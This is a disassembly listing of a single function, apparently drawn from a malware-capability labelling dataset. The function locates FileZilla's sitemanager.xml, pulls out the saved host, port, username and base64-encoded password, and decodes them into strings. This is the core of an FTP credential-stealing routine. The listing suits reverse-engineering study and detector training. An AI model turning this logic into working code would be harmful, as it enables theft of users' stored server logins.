Function at 0x100a2730
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c4
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x130], 0
lea eax, [ebp - 0x110]
mov dword [ebp - 0x12c], 0xf
push eax
push edi
mov ebx, ecx
mov byte [ebp - 0x140], 0
push edi
push 0x1a
push edi
mov dword [ebp - 0x1d8], ebx
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
mov dword [ebp - 0x1d4], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x1c0], edi
mov dword [ebp - 0x1bc], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x1d0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a2805
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x1d0]
call fcn.100b2e90
push 0x100fb404
lea ecx, [ebp - 0x1d0]
call fcn.100b2580
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e0], xmm0
mov dword [eax + 0x10], edi
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x1bc]
cmp edx, 0x10
jb 0x100a288f
mov ecx, dword [ebp - 0x1d0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2885
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
push str.FileZilla_sitemanager.xml
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x1c0], edi
mov dword [ebp - 0x1bc], 0xf
mov byte [ebp - 0x1d0], 0
call fcn.100b2580
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1a0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x190], xmm0
mov dword [eax + 0x10], edi
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x1dc]
cmp edx, 0x10
jb 0x100a2914
mov ecx, dword [ebp - 0x1f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a290a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4298
push edx
push ecx
call fcn.100becc4
add esp, 8
cmp dword [ebp - 0x18c], 0x10
lea eax, [ebp - 0x1a0]
push 0x100fb474
cmovae eax, dword [ebp - 0x1a0]
push eax
call fcn.100c885d
add esp, 8
test eax, eax
je 0x100a40a7
push eax
call fcn.100c88eb
mov eax, dword [ebp - 0x190]
add esp, 4
inc eax
push eax
call fcn.100becd2
add esp, 4
lea ecx, [ebp - 0x1a0]
cmp dword [ebp - 0x18c], 0x10
mov esi, eax
mov edx, esi
cmovae ecx, dword [ebp - 0x1a0]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x100a2971
push 0x100fb474
push esi
call fcn.100c885d
mov esi, eax
push esi
mov dword [ebp - 0x224], esi
call fcn.100cb4e8
add esp, 0xc
test eax, eax
jne 0x100a3e21
push esi
push 0x800
push 0x10106b18
call fcn.100ca1b2
add esp, 0xc
test eax, eax
je 0x100a3e0a
mov ecx, 0x10106b18
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a29e0
sub ecx, edx
push ecx
push 0x10106b18
lea ecx, [ebp - 0x128]
call fcn.100b2e90
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b2700
sub esp, 0x18
mov ecx, esp
push 6
push str._Host_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100b2e90
call fcn.10085d50
add esp, 0x30
test eax, eax
jle 0x100a2c04
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b2700
sub esp, 0x18
mov ecx, esp
push 7
push str.__Host_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100b2e90
call fcn.10085d50
add esp, 0x30
test eax, eax
jle 0x100a2c04
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._Host_
push ecx
call fcn.100b3fb0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a42a2
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b2e90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x140]
call fcn.100b2640
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a2b49
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2b3f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
cmp dword [ebp - 0x12c], 0x10
lea ecx, [ebp - 0x140]
mov esi, dword [ebp - 0x130]
mov edx, esi
cmovae ecx, dword [ebp - 0x140]
push 7
push str.__Host_
push ecx
call fcn.100b3fb0
mov ecx, eax
mov dword [ebp - 0x1a8], 0
add esp, 0xc
mov dword [ebp - 0x1a4], 0xf
cmp esi, ecx
mov byte [ebp - 0x1b8], 0
lea eax, [ebp - 0x140]
cmovb ecx, esi
cmp dword [ebp - 0x12c], 0x10
push ecx
cmovae eax, dword [ebp - 0x140]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b2e90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x140]
call fcn.100b2640
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a2c04
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2bfa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b2700
sub esp, 0x18
mov ecx, esp
push 6
push str._Port_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100b2e90
call fcn.10085d50
add esp, 0x30
test eax, eax
jle 0x100a2e0e
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b2700
sub esp, 0x18
mov ecx, esp
push 7
push str.__Port_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100b2e90
call fcn.10085d50
add esp, 0x30
test eax, eax
jle 0x100a2e0e
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._Port_
push ecx
call fcn.100b3fb0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a42a2
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b2e90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x188]
call fcn.100b2640
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a2d53
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2d49
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x188]
mov esi, dword [ebp - 0x178]
mov edx, esi
cmovae ecx, dword [ebp - 0x188]
push 7
push str.__Port_
push ecx
call fcn.100b3fb0
mov ecx, eax
mov dword [ebp - 0x1a8], 0
add esp, 0xc
mov dword [ebp - 0x1a4], 0xf
cmp esi, ecx
mov byte [ebp - 0x1b8], 0
lea eax, [ebp - 0x188]
cmovb ecx, esi
cmp dword [ebp - 0x174], 0x10
push ecx
cmovae eax, dword [ebp - 0x188]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b2e90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x188]
call fcn.100b2640
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a2e0e
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2e04
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b2700
sub esp, 0x18
mov ecx, esp
push 6
push str._User_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100b2e90
call fcn.10085d50
add esp, 0x30
test eax, eax
jle 0x100a3018
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b2700
sub esp, 0x18
mov ecx, esp
push 7
push str.__User_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100b2e90
call fcn.10085d50
add esp, 0x30
test eax, eax
jle 0x100a3018
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._User_
push ecx
call fcn.100b3fb0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a42a2
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b2e90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x170]
call fcn.100b2640
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a2f5d
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2f53
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
cmp dword [ebp - 0x15c], 0x10
lea ecx, [ebp - 0x170]
mov esi, dword [ebp - 0x160]
mov edx, esi
cmovae ecx, dword [ebp - 0x170]
push 7
push str.__User_
push ecx
call fcn.100b3fb0
mov ecx, eax
mov dword [ebp - 0x1a8], 0
add esp, 0xc
mov dword [ebp - 0x1a4], 0xf
cmp esi, ecx
mov byte [ebp - 0x1b8], 0
lea eax, [ebp - 0x170]
cmovb ecx, esi
cmp dword [ebp - 0x15c], 0x10
push ecx
cmovae eax, dword [ebp - 0x170]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b2e90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x170]
call fcn.100b2640
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a3018
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a300e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b2700
sub esp, 0x18
mov ecx, esp
push 0x18
push str._Pass_encoding_base64__
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100b2e90
call fcn.10085d50
add esp, 0x30
test eax, eax
jle 0x100a3279
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b2700
sub esp, 0x18
mov ecx, esp
push 7
push str.__Pass_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100b2e90
call fcn.10085d50
add esp, 0x30
test eax, eax
jle 0x100a3279
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 0x18
cmovae ecx, ebx
push str._Pass_encoding_base64__
push ecx
call fcn.100b3fb0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
lea edx, [eax + 0x18]
cmp esi, edx
jb 0x100a42a2
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b2e90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x158]
call fcn.100b2640
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a3167
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a315d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
cmp dword [ebp - 0x144], 0x10
lea ecx, [ebp - 0x158]
mov esi, dword [ebp - 0x148]
mov edx, esi
cmovae ecx, dword [ebp - 0x158]
push 7
push str.__Pass_
push ecx
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
call fcn.100b3fb0
mov ecx, eax
add esp, 0xc
cmp esi, ecx
lea eax, [ebp - 0x158]
cmovb ecx, esi
cmp dword [ebp - 0x144], 0x10
push ecx
cmovae eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b2e90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x158]
call fcn.100b2640
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a3222
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3218
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
lea edx, [ebp - 0x158]
lea ecx, [ebp - 0x1f0]
call fcn.10083950
push eax
lea ecx, [ebp - 0x158]
call fcn.100b2640
mov edx, dword [ebp - 0x1dc]
cmp edx, 0x10
jb 0x100a3279
mov ecx, dword [ebp - 0x1f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a326f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov eax, dword [ebp - 0x130]
test eax, eax
je 0x100a3dc4
cmp dword [ebp - 0x160], 0
je 0x100a3dc4
cmp dword [ebp - 0x148], 0
je 0x100a3dc4
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a32bb
cmp byte [ecx], 0x30
jne 0x100a32bb
mov cl, 1
jmp 0x100a32bd
xor cl, cl
test cl, cl
je 0x100a3898
inc eax
mov dword [ebp - 0x1c0], 0
push eax
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x1bc], 0xf
mov byte [ebp - 0x1d0], 0
call fcn.100b5850
push 0x100fb4d0
lea ecx, [ebp - 0x1d0]
call fcn.100b2580
cmp dword [ebp - 0x12c], 0x10
lea ecx, [ebp - 0x140]
mov esi, dword [ebp - 0x1bc]
mov eax, esi
cmovae ecx, dword [ebp - 0x140]
mov edi, dword [ebp - 0x130]
mov edx, dword [ebp - 0x1c0]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x100a3358
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x1c0], eax
lea eax, [ebp - 0x1d0]
cmovae eax, dword [ebp - 0x1d0]
lea esi, [eax + edx]
push esi
call fcn.100c21a0
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x100a3371
mov byte [ebp - 0x240], 0
lea ecx, [ebp - 0x1d0]
push dword [ebp - 0x240]
push edi
call fcn.100b4330
push 0x100fbb60
lea ecx, [ebp - 0x1d0]
call fcn.100b2580
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x1f0]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x188]
push eax
call fcn.100b3430
add esp, 4
mov ecx, eax
push 0x100fb4cc
call fcn.100b2580
push 0x100fb4d0
lea ecx, [ebp - 0x220]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x220], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x210], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b2580
lea edx, [ebp - 0x208]
lea ecx, [ebp - 0x23c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x208], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1f8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x170]
push eax
call fcn.100b3430
add esp, 4
mov ecx, eax
push 0x100fb4cc
call fcn.100b2580
push 0x100fb4d0
lea ecx, [ebp - 0x2ac]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2ac], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x29c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b2580
lea edx, [ebp - 0x294]
lea ecx, [ebp - 0x264]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x294], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x284], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x158]
push eax
call fcn.100b3430
add esp, 4
mov ecx, eax
push 0x100fb4e0
call fcn.100b2580
lea edx, [ebp - 0x27c]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x26c], xmm0
cmp dword [ebp - 0x268], 0x10
movups xmmword [ebp - 0x27c], xmm1
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
movd edi, xmm1
mov ebx, dword [ebp - 0x1d8]
cmovae edx, edi
mov ecx, dword [ebp - 0x26c]
mov eax, dword [ebx + 0x14]
mov esi, dword [ebx + 0x10]
sub eax, esi
cmp ecx, eax
ja 0x100a355b
cmp dword [ebx + 0x14], 0x10
lea eax, [esi + ecx]
mov dword [ebx + 0x10], eax
mov eax, ebx
jb 0x100a3542
mov eax, dword [ebx]
push ecx
add esi, eax
push edx
push esi
call fcn.100c21a0
mov eax, dword [ebp - 0x26c]
add esp, 0xc
mov byte [eax + esi], 0
jmp 0x100a3578
push ecx
push edx
mov byte [ebp - 0x244], 0
push dword [ebp - 0x244]
push ecx
mov ecx, ebx
call fcn.100b4330
mov edi, dword [ebp - 0x27c]
mov eax, dword [ebp - 0x268]
cmp eax, 0x10
jb 0x100a35ae
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x100a35a4
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push ecx
push edi
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x250]
cmp edx, 0x10
jb 0x100a35e8
mov ecx, dword [ebp - 0x264]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a35de
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x280]
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
cmp edx, 0x10
jb 0x100a363d
mov ecx, dword [ebp - 0x294]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3633
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x298]
mov dword [ebp - 0x284], 0
mov dword [ebp - 0x280], 0xf
mov byte [ebp - 0x294], 0
cmp edx, 0x10
jb 0x100a3692
mov ecx, dword [ebp - 0x2ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3688
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x298], 0xf
mov byte [ebp - 0x2ac], 0
cmp edx, 0x10
jb 0x100a36e7
mov ecx, dword [ebp - 0x23c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a36dd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1f4]
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x228], 0xf
mov byte [ebp - 0x23c], 0
cmp edx, 0x10
jb 0x100a373c
mov ecx, dword [ebp - 0x208]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3732
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x20c]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
cmp edx, 0x10
jb 0x100a3791
mov ecx, dword [ebp - 0x220]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3787
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1dc]
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], 0
cmp edx, 0x10
jb 0x100a37e6
mov ecx, dword [ebp - 0x1f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a37dc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
cmp edx, 0x10
jb 0x100a383b
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3831
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1bc]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a3890
mov ecx, dword [ebp - 0x1d0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3886
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov eax, dword [ebp - 0x130]
jmp 0x100a389e
mov ebx, dword [ebp - 0x1d8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a38b8
cmp byte [ecx], 0x31
jne 0x100a38b8
mov cl, 1
jmp 0x100a38ba
xor cl, cl
test cl, cl
je 0x100a3d6d
add eax, 0xe
mov dword [ebp - 0x1c0], 0
push eax
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x1bc], 0xf
mov byte [ebp - 0x1d0], 0
call fcn.100b5850
push str.ftpFileZilla
lea ecx, [ebp - 0x1d0]
call fcn.100b2580
cmp dword [ebp - 0x12c], 0x10
lea ecx, [ebp - 0x140]
mov esi, dword [ebp - 0x1bc]
mov eax, esi
cmovae ecx, dword [ebp - 0x140]
mov edi, dword [ebp - 0x130]
mov edx, dword [ebp - 0x1c0]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x100a3957
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x1c0], eax
lea eax, [ebp - 0x1d0]
cmovae eax, dword [ebp - 0x1d0]
lea esi, [eax + edx]
push esi
call fcn.100c21a0
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x100a3970
mov byte [ebp - 0x248], 0
lea ecx, [ebp - 0x1d0]
push dword [ebp - 0x248]
push edi
call fcn.100b4330
push 0x100fbb60
lea ecx, [ebp - 0x1d0]
call fcn.100b2580
lea edx, [ebp - 0x208]
lea ecx, [ebp - 0x264]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x208], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1f8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x188]
push eax
call fcn.100b3430
add esp, 4
mov ecx, eax
push 0x100fb4d8
call fcn.100b2580
lea edx, [ebp - 0x220]
lea ecx, [ebp - 0x23c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x220], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x210], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x170]
push eax
call fcn.100b3430
add esp, 4
mov ecx, eax
push 0x100fb4d8
call fcn.100b2580
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x1f0]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x158]
push eax
call fcn.100b3430
add esp, 4
mov ecx, eax
push 0x100fb4d4
call fcn.100b2580
mov ecx, dword [ebp - 0x1d8]
lea edx, [ebp - 0x2c4]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2b4], xmm0
cmp dword [ebp - 0x2b0], 0x10
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebx + 0x14]
mov esi, dword [ebx + 0x10]
mov ebx, dword [ebp - 0x2b4]
movd edi, xmm1
movups xmmword [ebp - 0x2c4], xmm1
cmovae edx, edi
sub eax, esi
cmp ebx, eax
ja 0x100a3ae4
cmp dword [ecx + 0x14], 0x10
lea eax, [esi + ebx]
mov dword [ecx + 0x10], eax
mov eax, ecx
jb 0x100a3ad1
mov eax, dword [ecx]
push ebx
add esi, eax
push edx
push esi
call fcn.100c21a0
add esp, 0xc
mov byte [ebx + esi], 0
jmp 0x100a3aff
push ebx
push edx
mov byte [ebp - 0x24c], 0
push dword [ebp - 0x24c]
push ebx
